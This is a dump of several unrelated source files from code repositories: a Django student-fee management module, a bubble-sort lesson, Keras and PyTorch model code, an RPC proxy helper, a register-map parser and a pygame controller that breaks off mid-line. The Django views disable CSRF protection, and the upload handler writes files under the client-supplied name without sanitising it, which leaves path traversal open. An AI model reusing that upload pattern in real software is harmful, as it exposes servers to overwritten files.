'联系电话输入不正确!'\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n try:\n if id:\n Student = student.objects.get(id=id)\n Student.name = name\n Student.tel_num = tel_num\n Student.card_id = card_id\n Student.birthday = birthday\n Student.classid_id = classid\n Student.sex = sex\n Student.fa_name = fa_name\n Student.school_car = school_car\n Student.is_shuangliu = is_shuangliu\n Student.is_chengdu = is_chengdu\n Student.infos = infos\n Student.address = address\n Student.person = UserDisplay\n Student.remark = remark\n Student.save()\n result[\"msg\"] = \"编辑学生信息成功!\"\n else:\n # if student.objects.filter(card_id=card_id):\n # result['status'] = 1\n # result['msg'] = '该身份证号码的学生已存在!'\n # return HttpResponse(json.dumps(result), content_type='application/json')\n Student = student(name=name,tel_num=tel_num, card_id=card_id, birthday=birthday, classid_id=classid, sex=sex, fa_name=fa_name,\n school_car=school_car, is_shuangliu=is_shuangliu, is_chengdu=is_chengdu, infos=infos, address=address, person=UserDisplay, remark=remark)\n Student.save()\n id = student.objects.all()[0].id\n except Exception as msg:\n import traceback\n print(traceback.format_exc())\n result['status'] = 1\n if id:\n result['msg'] = '编辑学生信息失败,请联系管理员处理!'\n else:\n result['msg'] = '添加学生信息失败,请联系管理员处理!'\n return HttpResponse(json.dumps(result), content_type='application/json')\n result['data'] = {\"stuid\": str(id)}\n result['data']['termid'] = TermInfo.objects.filter()[0].id\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n\n# 查询应缴费用/生成发票/生成二维码\n@csrf_exempt\ndef seladdmoney(request):\n # 查询应缴费信息\n loginUser = request.session.get('login_username', False)\n stuId = request.POST.get('stuId', '').strip()\n termId = request.POST.get('termId', '').strip()\n index = request.POST.get('index', '').strip()\n remark = request.POST.get('remark', '').strip()\n payMents = []\n for i in range(1, int(index) + 1):\n payMents.append(request.POST.get(\"f_id_\" + str(i), '').strip())\n print(payMents)\n pay_money = []\n for pay_ment in payMents:\n f_type, f_aciton, f_money = pay_ment.split(\"_\")\n f_money = float(f_money)\n MoneyInfo = PayMentInfo.objects.filter(stuId__id=stuId, termId__id=termId, type=f_type, action=f_aciton)\n if MoneyInfo:\n money_inc = f_money - MoneyInfo[0].money\n else:\n money_inc = f_money\n pay_money.append((f_type, f_aciton, money_inc))\n print(pay_money)\n result = {'status': 0, 'msg': '学生缴费成功!', 'data': \"\"}\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n\n# 提交缴费信息到数据库\n@csrf_exempt\ndef addmoneytodb(request):\n # 缴费信息\n loginUser = request.session.get('login_username', False)\n stuId = request.POST.get('stuId', '').strip()\n termId = request.POST.get('termId', '').strip()\n index = request.POST.get('index', '').strip()\n remark = request.POST.get('remark', '').strip()\n\n loginUserOb = users.objects.get(username=loginUser)\n UserDisplay = loginUserOb.display\n\n payMents = []\n for i in range(1, int(index) + 1):\n payMents.append(request.POST.get(\"f_id_\" + str(i), '').strip())\n stuObj = get_object_or_404(student, id=stuId)\n termObj = get_object_or_404(TermInfo, id=termId)\n pay_money = []\n try:\n with transaction.atomic():\n term_flag = 0\n for pay_ment in payMents:\n f_type, f_aciton, f_money = pay_ment.split(\"_\")\n f_money = float(f_money)\n if f_money == 0:\n f_status = \"未缴费\"\n else:\n term_flag = 1\n f_status = \"已缴费\"\n MoneyInfo, flag = PayMentInfo.objects.get_or_create(stuId=stuObj, termId=termObj, type=f_type, action=f_aciton)\n if flag:\n money_inc = f_money\n else:\n money_inc = f_money - MoneyInfo.money\n MoneyInfo.money = f_money\n MoneyInfo.status = f_status\n MoneyInfo.remark = remark\n MoneyInfo.person = UserDisplay\n MoneyInfo.save()\n pay_money.append((f_type, f_aciton, money_inc))\n stu_term_info, flag = student_term_info.objects.get_or_create(stuId=stuObj, termId=termObj)\n if term_flag:\n stu_term_info.status = \"已报到\"\n stu_term_info.save()\n else:\n stu_term_info.delete()\n\n all_money = sum([i[2] for i in pay_money])\n stu_pre_money = stuObj.premoney\n flowing = all_money - stu_pre_money\n if flowing > 0:\n f_type = \"收款\"\n elif flowing < 0:\n f_type = \"退款\"\n else:\n f_type = \"无需��费\"\n if f_type != \"无需缴费\":\n Flowing.objects.create(stuId=stuObj, action=\"现金\", type=f_type, flowing=flowing, person=UserDisplay)\n\n stuObj.premoney = 0\n stuObj.save()\n\n except Exception as e:\n print(traceback.format_exc())\n result = {'status': 1, 'msg': '学生缴费信息写入数据库失败,请联系管理员!', 'data': []}\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n msg = f\"\"\"学生缴费成功!\n 应缴费用:{all_money},\n 抵扣预收费:{stu_pre_money},\n 实际缴费:{flowing}\n \"\"\"\n\n result = {'status': 0, 'msg': msg, 'data': \"\"}\n\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n\n#上传文件\n@csrf_exempt\ndef upload(request):\n myFile = request.FILES['file_data']\n upload_path = settings.UPLOAD_PATH\n if not myFile:\n return HttpResponse(\"no files for upload!\")\n try:\n clear(upload_path)\n destination = open(os.path.join(upload_path, myFile.name), 'wb+') # 打开特定的文件进行二进制的写操作\n for chunk in myFile.chunks(): # 分块写入文件\n destination.write(chunk)\n destination.close()\n except Exception as e:\n import traceback\n print(traceback.format_exc())\n return HttpResponse(\"upload failed!\")\n result = {'status': 0, 'msg': '文件上传成功!', 'data': []}\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n\n#导入excel\n@csrf_exempt\ndef importexcel(request):\n \"\"\"\n 新建 Microsoft Excel 工作表.xlsx all Done\n :param request:\n :return:\n \"\"\"\n filename = request.POST.get(\"filename\", \"\").strip()\n type = request.POST.get(\"type\", \"\").strip()\n process = request.POST.get(\"process\", \"\").strip()\n result = {'status': 0, 'msg': '学生信息导入成功!', 'data': []}\n if not filename:\n result = {'status': 1, 'msg': '请选择需要导入的文件!', 'data': []}\n return HttpResponse(json.dumps(result), content_type='application/json')\n if not (filename.endswith(\".xls\") or filename.endswith(\".xlsx\")):\n result = {'status': 1, 'msg': '请使用模板文件文件导入!', 'data': []}\n return HttpResponse(json.dumps(result), content_type='application/json')\n if process != \"Done\":\n result = {'status': 1, 'msg': '请上传需要导入的文件!', 'data': []}\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n class_dict = {class_i.class_name: class_i.id for class_i in classes.objects.all()}\n\n try:\n import_file = os.path.join(settings.UPLOAD_PATH, filename)\n df = pd.read_excel(import_file)\n df = df[settings.HEAD_LIST]\n df = df.fillna(\"\")\n df[[\"身份证号码\", \"联系电话\"]] = df[[\"身份证号码\", \"联系电话\"]].applymap(str)\n df[[\"班级\"]] = df[[\"班级\"]].applymap(class_dict.get)\n fun = lambda datastr: datetime.datetime.strptime(datastr, '%Y-%m-%d')\n df[[\"出生年月\"]] = df[[\"出生年月\"]].applymap(fun)\n except Exception as e:\n print(traceback.format_exc())\n result = {'status': 1, 'msg': '上传的文件有误,请仔细确认!', 'data': []}\n return HttpResponse(json.dumps(result), content_type='application/json')\n try:\n with transaction.atomic():\n if type == \"all\":\n student.objects.all().delete()\n for i in range(len(df)):\n df_i = df.iloc[i]\n student.objects.get_or_create(name=df_i[\"姓名\"], tel_num=df_i[\"联系电话\"], card_id=df_i[\"身份证号码\"],\n birthday=df_i[\"出生年月\"], classid_id=df_i[\"班级\"], sex=df_i[\"性别\"],\n fa_name=df_i[\"监护人姓名\"], school_car=df_i[\"校车\"], is_shuangliu=df_i[\"是否双流户籍\"],\n is_chengdu=df_i[\"是否大成都\"], infos=df_i[\"材料\"], address=df_i[\"户籍详细地址\"],\n remark=df_i[\"备注\"])\n except Exception as e:\n print(traceback.format_exc())\n result = {'status': 1, 'msg': '学生信息导入数据库有误,请联系管理员!', 'data': []}\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"ydproject/student","sub_path":"stuMgr/views_ajax.py","file_name":"views_ajax.py","file_ext":"py","file_size_in_byte":28623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23630531845","text":"# One way of sorting is bubble sort. Time complexity not too good (O(n^2)) but space complexity O(1)\n# This kind of sorting gets first and second item and sorts them, then moves to second and third and sorts them,\n# then third and fourth ... and so on. When it gets to the end it starts from beginning until all of them will be sorted\n\n# In the case above there will be 21 comparisons until it gets sorted array.\n\n# Bubble sort is useful only to teach sorting, not efficient\n\ndef bubble_sort():\n count = 0\n for i in range(len(num) - 1):\n for j in range(len(num) - i - 1):\n count += 1\n if num[j] > num[j + 1]:\n num[j], num[j + 1] = num[j + 1], num[j]\n return f'Sorted array: {num}\\nNumber of comparisons: {count}'\n\nnum = [5, 9, 3, 10, 45, 2, 0]\nprint(bubble_sort())","repo_name":"tomasz-urban/Python","sub_path":"Sorting algorithms/bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11175202384","text":"import numpy as np\n\nimport tensorflow as tf\nfrom keras import Model\nfrom keras.layers import Dense, Activation, Conv2D, Flatten, Rescaling, concatenate\nfrom keras.layers import Input\nfrom keras.optimizers import adam_v2\n\nfrom project.models.forward_model import ForwardModel\n\nclass FM_Random(ForwardModel):\n\n def __init__(self,hyp,a_size,s_size,feature_count):\n super(FM_Random,self).__init__(hyp=hyp,a_size=a_size,s_size=s_size)\n print(\"Setting up random intrinsic network\")\n self.feature_count = feature_count\n self.feature_net = self._create_features_CNN()\n print(\"Created random feature extractor network:\")\n self.feature_net.summary()\n self.model = self._create_CNN()\n print(\"Created model network:\")\n self.model.summary()\n\n def _create_features_CNN(self):\n initializer = tf.keras.initializers.HeNormal\n\n # Convolutional branch with the state\n state_input = Input(shape=self.STATE_SHAPE)\n state_branch = Rescaling(scale=1.0/255)(state_input)\n state_branch = Conv2D(32,(8, 8),strides=4,kernel_initializer=initializer)(state_branch)\n state_branch = Activation(\"relu\")(state_branch)\n state_branch = Conv2D(64,(4, 4),strides=2,kernel_initializer=initializer)(state_branch)\n state_branch = Activation(\"relu\")(state_branch)\n state_branch = Conv2D(64,(3, 3),strides=1,kernel_initializer=initializer)(state_branch)\n state_branch = Activation(\"relu\")(state_branch)\n state_branch = Flatten()(state_branch)\n\n # Output of features\n # Need to look into feature count\n features = Dense(512,kernel_initializer=initializer)(state_branch) # For linearity \n\n model = Model(inputs=[state_input],outputs=features)\n\n model.compile(\n loss=tf.keras.losses.Huber(),\n optimizer=adam_v2.Adam(learning_rate=self.learning_rate),\n metrics=[\"accuracy\"],\n )\n return model\n\n def _create_CNN(self): \n initializer = tf.keras.initializers.HeNormal\n\n # Convolutional branch with the state\n feature_input = Input(shape=self.feature_count)\n feature_branch = Dense(self.feature_count,kernel_initializer=initializer,activation=\"relu\")(feature_input)\n feature_branch = Model(inputs=feature_input,outputs=feature_branch)\n\n # Chosen to be class as no linearity of action representation\n action_input = Input(shape=self.A_SIZE)\n action_branch = Dense(self.A_SIZE,kernel_initializer=initializer,activation=\"relu\")(action_input)\n action_branch = Model(inputs=action_input,outputs=action_branch)\n\n # Combine with action\n s_a_pair = concatenate([feature_branch.output,action_branch.output])\n\n dense_layer = Dense(self.feature_count,kernel_initializer=initializer,activation=\"relu\")(s_a_pair)\n dense_layer = Dense(self.feature_count,kernel_initializer=initializer,activation=\"relu\")(dense_layer)\n predicted_features = Dense(self.feature_count,kernel_initializer=initializer)(dense_layer)\n\n model = Model(inputs=[feature_input,action_input],outputs=predicted_features)\n\n model.compile(\n loss=tf.keras.losses.Huber(),\n optimizer=adam_v2.Adam(learning_rate=self.learning_rate),\n metrics=[\"accuracy\"],\n )\n return model\n \n def learn(self,obs,acs,new_obs):\n obs_features = self.feature_net.predict(obs,verbose=0)\n new_obs_features = self.feature_net.predict(new_obs,verbose=0)\n\n actions = np.zeros(shape=(acs.shape[0],self.A_SIZE),dtype=np.uint8)\n for i,a in enumerate(acs):\n actions[i][a] = 1\n\n training_in=[obs_features,actions]\n self.model.fit(\n training_in,\n new_obs_features,\n batch_size=self.hyp[\"BATCH_SIZE\"],\n verbose=0,\n shuffle=False,\n )\n\n def get_error(self,s,a,new_s,training=False):\n action = np.zeros(shape=(1,self.A_SIZE),dtype=np.uint8)\n action[0][a] = 1\n\n s = np.array([s],dtype=np.float32)\n s_feat = self.feature_net.predict([s],verbose=0)\n\n pred_new_s_feat = self.model.predict([s_feat,action],verbose=0)\n\n new_s = np.array([new_s],dtype=np.float32)\n new_s_feat = self.feature_net.predict([new_s],verbose=0)[0]\n diff = pred_new_s_feat[0] - new_s_feat[0]\n mse = ((diff)**2).mean(axis=0)\n return mse\n","repo_name":"cstone093/Intrinsic_Motivation_Frostbite","sub_path":"RL_diss_package/project/models/random_forward_model.py","file_name":"random_forward_model.py","file_ext":"py","file_size_in_byte":4451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40798752068","text":"# -*- coding: utf-8 -*-\nimport logging\n\nfrom nameko.extensions import DependencyProvider\nfrom nameko.rpc import ReplyListener, ServiceProxy\n\nlogger = logging.getLogger(__name__)\n\n\nclass GenericServiceProxyPool(object):\n\n def __init__(self, worker_ctx, rpc_reply_listener):\n self.worker_ctx = worker_ctx\n self.proxy = {}\n self.rpc_reply_listener = rpc_reply_listener\n\n def get(self, service, **options):\n try:\n res = self.proxy[service]\n except KeyError:\n\n res = self.proxy[service] = ServiceProxy(\n self.worker_ctx,\n service,\n self.rpc_reply_listener,\n **options\n )\n return res\n\n\nclass GenericRpcProxy(DependencyProvider):\n rpc_reply_listener = ReplyListener()\n\n def __init__(self):\n self.pool = None\n\n def get_dependency(self, worker_ctx):\n\n self.pool = pool = GenericServiceProxyPool(worker_ctx, self.rpc_reply_listener)\n return pool\n","repo_name":"Yupeek/maiev","sub_path":"services/maiev-base/app/common/dp/generic.py","file_name":"generic.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42074971390","text":"# Import basic libraries\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nfrom collections import OrderedDict\n\n# Import PyTorch\nimport torch # import main library\nfrom torch.autograd import Variable\nimport torch.nn as nn # import modules\nfrom torch.autograd import Function # import Function to create custom activations\nfrom torch.nn.parameter import (\n Parameter,\n) # import Parameter to create custom activations with learnable parameters\nfrom torch import optim # import optimizers for demonstrations\nimport torch.nn.functional as F # import torch functions\nfrom torchvision import datasets, transforms # import transformations to use for demo\n\ntorch.manual_seed(1)\n\n# Define a transform\ntransform = transforms.Compose([transforms.ToTensor()])\n\n# Download and load the training data for Fashion MNIST\ntrainset = datasets.FashionMNIST(\n \"~/.pytorch/F_MNIST_data/\", download=True, train=True, transform=transform\n)\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=64, shuffle=True)\n\n# helper function to train a model\ndef train_model(model, trainloader):\n \"\"\"\n Function trains the model and prints out the training log.\n INPUT:\n model - initialized PyTorch model ready for training.\n trainloader - PyTorch dataloader for training data.\n \"\"\"\n # setup training\n\n # define loss function\n criterion = nn.NLLLoss()\n # define learning rate\n learning_rate = 0.003\n # define number of epochs\n epochs = 50\n # initialize optimizer\n optimizer = optim.Adam(model.parameters(), lr=learning_rate)\n\n # run training and print out the loss to make sure that we are actually fitting to the training set\n print(\"Training the model. Make sure that loss decreases after each epoch.\\n\")\n for e in range(epochs):\n running_loss = 0\n for images, labels in trainloader:\n images = images.view(images.shape[0], -1)\n log_ps = model(images)\n loss = criterion(log_ps, labels)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item()\n else:\n # print out the loss to make sure it is decreasing\n print(f\"Training loss: {running_loss}\")\n\n\n# initialize activation function\nuse_knossos = True\nif use_knossos:\n import ksc.torch_frontend as knossos\n\n @knossos.elementwise\n def relu3(x: float) -> float:\n \"\"\"\n Like ReLu, but smoother\n Like GeLu, but cheaper\n \"\"\"\n if x < 0.0:\n return 0.0\n elif x < 1.0:\n return 1 / 3 * x ** 3\n else:\n return x - 2 / 3\n\n activation_function = relu3.nnModule(example_input=(torch.randn(3),))\nelse:\n\n def vrelu3_pytorch(x: torch.Tensor):\n mask1_inf = x > 1.0\n mask0_1 = (x > 0.0) & ~mask1_inf\n val_0_1 = 1 / 3 * x ** 3\n val_1_inf = x - 2 / 3\n\n return mask0_1 * val_0_1 + mask1_inf * val_1_inf\n\n activation_function = knossos.Lambda(vrelu3_pytorch)\n\n# Initialize the model using nn.Sequential\nmodel = nn.Sequential(\n OrderedDict(\n [\n (\"fc1\", nn.Linear(784, 256)),\n (\"activation1\", activation_function),\n (\"fc2\", nn.Linear(256, 128)),\n (\"bn2\", nn.BatchNorm1d(num_features=128)),\n (\"activation2\", activation_function),\n (\"dropout\", nn.Dropout(0.3)),\n (\"fc3\", nn.Linear(128, 64)),\n (\"bn3\", nn.BatchNorm1d(num_features=64)),\n (\"activation3\", activation_function),\n (\"logits\", nn.Linear(64, 10)),\n (\"logsoftmax\", nn.LogSoftmax(dim=1)),\n ]\n )\n)\n\n# Run training\ntrain_model(model, trainloader)\n","repo_name":"microsoft/knossos-ksc","sub_path":"examples/dl-activations/relu3-mnist.py","file_name":"relu3-mnist.py","file_ext":"py","file_size_in_byte":3755,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"37"} +{"seq_id":"71414152052","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nimport re\nimport sys\nimport os\nfrom operator import attrgetter\n\nre_address = re.compile(r\"^@([A-Fa-f0-9]+)$\")\nre_option = re.compile(r\"^#([a-z]+)\\s+(\\w+)$\")\nre_register = re.compile(r\"^(([A-Za-z]\\w*)/)?([A-Za-z]\\w*)([.]([BHWR]+))?$\")\nre_field = re.compile(r\"\\s+([A-Za-z]\\w*)([.]([AR]+))?(\\s+\\[(\\d+)(:(\\d+))?\\])?$\")\nre_overlap = re.compile(r\"^&$\")\n\nunion_base = {1: \"uint8_t BYTE\", 2: \"uint16_t WORD\", 4: \"uint32_t DWORD\"}\ntype_names = {1: \"uint8_t\", 2: \"uint16_t\", 4: \"uint32_t\"}\n\nclass Field:\n def __init__(self, name, attr, start, end):\n self.name = name\n self.attr = attr\n self.start = start\n self.end = end\n\nclass Register:\n def __init__(self, name, attr, address):\n self.name = name\n self.attr = attr\n self.address = address\n self.layer_list = [[]]\n\n self.size = 1\n if attr.find(\"B\") >= 0:\n self.size = 1\n if attr.find(\"H\") >= 0:\n self.size = 2\n if attr.find(\"W\") >= 0:\n self.size = 4\n\n self.atom = self.size\n if attr.find(\"W\") >= 0:\n self.atom = 4\n if attr.find(\"H\") >= 0:\n self.atom = 2\n if attr.find(\"B\") >= 0:\n self.atom = 1\n\n self.atom_list = [self.atom] * self.size\n\n def addField(self, field):\n field_list = self.layer_list[-1]\n\n field_list.append(field)\n\n if field.start % 8 == 0 and field.end % 8 == 7:\n subunit_size = (field.end - field.start + 1) / 8\n if (field.start / 8) % subunit_size == 0:\n if subunit_size == self.atom or (field.attr and field.attr.find(\"A\") >= 0):\n for i in range(field.start / 8, field.end / 8 + 1):\n self.atom_list[i] = subunit_size\n\n def addLayer(self):\n self.layer_list.append([])\n\n def printCHeader(self, prefix, out):\n for layer in self.layer_list:\n if len(layer) == 0:\n continue\n\n print(\"{0}\\tstruct {{\".format(prefix), file = out)\n\n bit_position = 0\n\n for field in layer:\n if field.attr and field.attr.find(\"R\") >= 0:\n modifier = \"const \"\n else:\n modifier = \"\"\n\n if field.start < 0:\n print(\"{0}\\t\\t{1}{2} {3} : 1;\".format(prefix, modifier, type_names[self.atom_list[bit_position / 8]], field.name), file = out)\n\n bit_position += 1\n else:\n if bit_position < field.start:\n max_atom = max(self.atom_list[bit_position / 8 : (field.start - 1) / 8 + 1])\n\n print(\"{0}\\t\\t{1} : {2};\".format(prefix, type_names[max_atom], field.start - bit_position), file = out)\n\n if field.end < 0:\n print(\"{0}\\t\\t{1}{2} {3} : 1;\".format(prefix, modifier, type_names[self.atom_list[bit_position / 8]], field.name), file = out)\n\n bit_position = field.start + 1\n else:\n max_atom = max(self.atom_list[field.start / 8 : field.end / 8 + 1])\n\n print(\"{0}\\t\\t{1}{2} {3} : {4};\".format(prefix, modifier, type_names[max_atom], field.name, field.end - field.start + 1), file = out)\n\n bit_position = field.end + 1\n\n print(\"{0}\\t}};\".format(prefix), file = out)\n\nclass Module:\n def __init__(self, name):\n self.name = name\n self.register_list = []\n\n def addRegister(self, register):\n self.register_list.append(register)\n\n def printCHeader(self, out):\n if len(self.register_list) == 0:\n return\n\n if len(self.name) > 0:\n print(\"extern volatile struct {\", file = out)\n prefix = \"\\t\"\n else:\n prefix = \"\"\n\n self.register_list.sort(key = attrgetter(\"address\"))\n\n address = self.register_list[0].address / 4 * 4\n spacer_count = 0\n\n for register in self.register_list:\n padding = register.address - address\n\n if len(self.name) > 0:\n if padding > 0:\n print(\"\\tuint8_t spacer{0:d}[{1:d}];\".format(spacer_count, padding), file = out)\n\n if register.attr and register.attr.find(\"R\") >= 0:\n print(\"\\tconst union {\", file = out)\n else:\n print(\"\\tunion {\", file = out)\n else:\n if register.attr and register.attr.find(\"R\") >= 0:\n print(\"extern const volatile union {\", file = out)\n else:\n print(\"extern volatile union {\", file = out)\n\n print(\"{0}\\t{1};\".format(prefix, union_base[register.size]), file = out)\n\n register.printCHeader(prefix, out)\n\n print(\"{0}}} {1};\".format(prefix, register.name), file = out)\n\n spacer_count += 1\n address = register.address + register.size\n\n if len(self.name) > 0:\n print(\"}} {0};\".format(self.name), file = out)\n\n def printASMHeader(self, out):\n for register in self.register_list:\n if len(self.name) == 0:\n print(\"\\t.set\\t{0}, 0x{1:X}\".format(register.name, register.address), file = out)\n else:\n print(\"\\t.set\\t{0}_{1}, 0x{2:X}\".format(self.name, register.name, register.address), file = out)\n\n def printSymResolver(self, out):\n if len(self.register_list) == 0:\n return\n\n if len(self.name) == 0:\n for register in self.register_list:\n print(\"\\t.global\\t{0}\".format(register.name), file = out)\n print(\"\\t.set\\t{0}, 0x{1:X}\".format(register.name, register.address), file = out)\n else:\n self.register_list.sort(key = attrgetter(\"address\"))\n\n base_address = self.register_list[0].address / 4 * 4\n\n print(\"\\t.global\\t{0}\".format(self.name), file = out)\n print(\"\\t.set\\t{0}, 0x{1:X}\".format(self.name, base_address), file = out)\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print(\"Please specify an input file.\", file = sys.stderr)\n quit()\n\n address = 0\n radix = 10\n module_list = {}\n module = Module(\"\")\n module_list[\"\"] = module\n register = None\n\n regmap = open(sys.argv[1], \"r\")\n if not regmap:\n print(\"Failed to open {0}.\".format(sys.argv[1]), file = sys.stderr)\n quit()\n\n for line in regmap:\n p = re_address.match(line)\n if p:\n new_address = int(p.group(1), radix)\n\n if new_address < address:\n print(\"Address reverting from {0:X} to {1:X}.\".format(address, new_address), file = sys.stderr)\n\n address = new_address\n continue\n\n p = re_option.match(line)\n if p:\n if p.group(1) == \"radix\":\n radix = int(p.group(2), 10)\n\n print(\"Radix changed to {0:d}.\".format(radix), file = sys.stderr)\n elif p.group(1) == \"module\":\n if not p.group(2) in module_list:\n module = Module(p.group(2))\n module_list[p.group(2)] = module\n else:\n module = module_list[p.group(2)]\n\n print(\"Entered module {0}.\".format(p.group(2)), file = sys.stderr)\n continue\n\n p = re_register.match(line)\n if p:\n if p.group(2):\n if p.group(2) in module_list:\n module = module_list[p.group(2)]\n else:\n module = Module(p.group(2))\n module_list[p.group(2)] = module\n\n register = Register(p.group(3), p.group(5), address)\n module.addRegister(register)\n\n address += register.size\n continue\n\n p = re_field.match(line)\n if p:\n if p.group(5):\n start = int(p.group(5), 10)\n else:\n start = -1\n if p.group(7):\n end = start\n start = int(p.group(7), 10)\n else:\n end = start\n register.addField(Field(p.group(1), p.group(3), start, end))\n continue\n\n p = re_overlap.match(line)\n if p:\n register.addLayer()\n continue\n\n if len(line.strip()) > 0:\n print(\"Unrecognized line: \\\"{0}\\\".\".format(line.strip()), file = sys.stderr)\n quit()\n\n regmap.close()\n\n (basename, ext) = os.path.splitext(sys.argv[1])\n\n c_header = open(basename + \".h\", \"w\")\n if not c_header:\n print(\"Failed to open {0}.\".format(basename + \".h\"), file = sys.stderr)\n quit()\n\n asm_header = open(basename + \".inc\", \"w\")\n if not asm_header:\n print(\"Failed to open {0}.\".format(basename + \".inc\"), file = sys.stderr)\n quit()\n\n sym_resolver = open(basename + \".S\", \"w\")\n if not sym_resolver:\n print(\"Failed to open {0}.\".format(basename + \".S\"), file = sys.stderr)\n quit()\n\n for m in sorted(module_list.values(), key = attrgetter(\"name\")):\n m.printCHeader(c_header)\n m.printASMHeader(asm_header)\n m.printSymResolver(sym_resolver)\n\n c_header.close()\n asm_header.close()\n sym_resolver.close()\n","repo_name":"ihr486/regmap","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":9407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1445530992","text":"from data_download import *\r\nfrom analyse import *\r\nimport seaborn as sns\r\n\r\n\r\nseasons = [\"1415\", \"1516\", \"1617\", \"1718\", \"1819\", \"1920\"]\r\nshortcut_dict = {\"england\": \"E0\", \"scotland\": \"SC0\", \"germany\": \"D1\", \"italy\": \"I1\", \"espana\": \"SP1\", \"france\": \"F1\",\r\n \"netherlands\": \"N1\", \"belgium\": \"B1\", \"portugal\": \"P1\", \"turkey\": \"T1\", \"greece\": \"G1\"}\r\ncountries = list(shortcut_dict.keys())\r\n\r\n\r\n# download csv. files für alle Länder\r\ndownload_csv_files(shortcut_dict, countries, seasons)\r\n\r\n# erstelle Gewinn.csv für alle Länder\r\ncountry_earnings = {}\r\nfor country in countries:\r\n try:\r\n # Read Ernings\r\n pfad = \"CSV-Files/{}/Gewinn.csv\".format(country)\r\n country_earnings[country] = pd.read_csv(pfad)\r\n except FileNotFoundError as e:\r\n print(e)\r\n\r\n\r\n# Merge Gewinn.csv der Länder in einen DF und rename Spalten\r\nlist_win_df = list(country_earnings.values())\r\nMerged_df = list_win_df[0]\r\nfor df in list_win_df[1:]:\r\n Merged_df = Merged_df.merge(df, on=\"Unnamed: 0\", how=\"left\")\r\nMerged_df.set_index(\"Unnamed: 0\", inplace=True)\r\nMerged_df.columns = list(countries)\r\nmax_earnings= Merged_df.copy().transpose()\r\nMerged_df[\"summe\"] = Merged_df.sum(axis=1)\r\n\r\n# Heatmap\r\nax = sns.heatmap(max_earnings, vmin=30, linewidths=.5, xticklabels=True, cmap=\"YlGnBu\")\r\nax.set_xticks(range(0,len(max_earnings.columns)))\r\n","repo_name":"NickHarnau/Tipico","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42249767079","text":"import pygame\nimport os\nimport sys\nimport FileReadAndWrite as frw\nimport pyautogui \n\n\nclass Controller():\n def __init__(self):\n self.currentState = 1\n self.pastState = self.currentState\n self.isChanged = False\n self.vo = None\n self.gameController = GameController(None)\n self.musicChoiceController = MusicChoiceController()\n self.startController = StartController()\n self.addTrackController = AddTrackController()\n self.dao = frw.DAO()\n \n def changeState(self, toNum):\n self.pastState = self.currentState\n self.currentState = toNum\n self.isChanged = True\n \n def mainFunction(self):\n if self.currentState == 1:\n if self.pastState != self.currentState:\n self.startController = StartController()\n elif self.pastState == self.currentState:\n event = self.startController.mainFunction()\n if event == \"gameEnd\":\n pygame.quit()\n sys.exit()\n elif event == \"musicChoice\":\n self.changeState(2)\n elif self.currentState == 2:\n if self.pastState != self.currentState:\n self.musicChoiceController = MusicChoiceController()\n elif self.pastState == self.currentState:\n state = self.musicChoiceController.mainFuntion()\n if state == \"none\":\n pass\n elif state == \"play\":\n self.changeState(3)\n self.vo = self.musicChoiceController.returnMusicVO() \n elif state == \"addTrack\":\n self.changeState(4)\n self.vo = self.dao.lastAddedData()\n elif self.currentState == 3:\n if self.pastState != self.currentState:\n self.gameController = GameController(self.vo)\n elif self.pastState == self.currentState:\n event = self.gameController.mainFunction()\n if event == \"backToChoice\":\n self.changeState(2)\n elif self.currentState == 4:\n if self.pastState != self.currentState:\n self.addTrackController.setting(self.vo)\n elif self.pastState == self.currentState:\n status = self.addTrackController.mainFunction()\n if status == \"returnChoice\":\n self.changeState(2)\n if not self.isChanged:\n self.pastState = self.currentState\n else:\n self.isChanged = False\n\nclass StartController():\n def __init__(self):\n self.startImg1 = pygame.image.load(frw.getFilePath(\"startButton1.png\", \"png\"))\n self.quitImg1 = pygame.image.load(frw.getFilePath(\"quitButton1.png\", \"png\"))\n self.startImg2 = pygame.image.load(frw.getFilePath(\"startButton2.png\", \"png\"))\n self.quitImg2 = pygame.image.load(frw.getFilePath(\"quitButton2.png\", \"png\"))\n \n def mouseOnButton(self, imgType, x, y):\n screen = pygame.display.get_surface()\n mouseX, mouseY = pygame.mouse.get_pos()\n img1, img2 = None, None\n if imgType == \"start\":\n img1, img2 = self.startImg1, self.startImg2\n elif imgType == \"quit\":\n img1, img2 = self.quitImg1, self.quitImg2\n else:\n pass\n w = img1.get_width()\n h = img1.get_height()\n if mouseX in range(x, x + w) and mouseY in range(y, y + h):\n screen.blit(img2, (x, y))\n if pygame.mouse.get_pressed()[0]:\n if imgType == \"start\":\n return imgType\n else: \n return imgType\n else:\n screen.blit(img1, (x, y))\n return \"none\"\n \n def mainFunction(self):\n screen = pygame.display.get_surface() \n screen.fill(colorSampleDict[\"white\"])\n font = pygame.font.SysFont(\"arial\", 100, 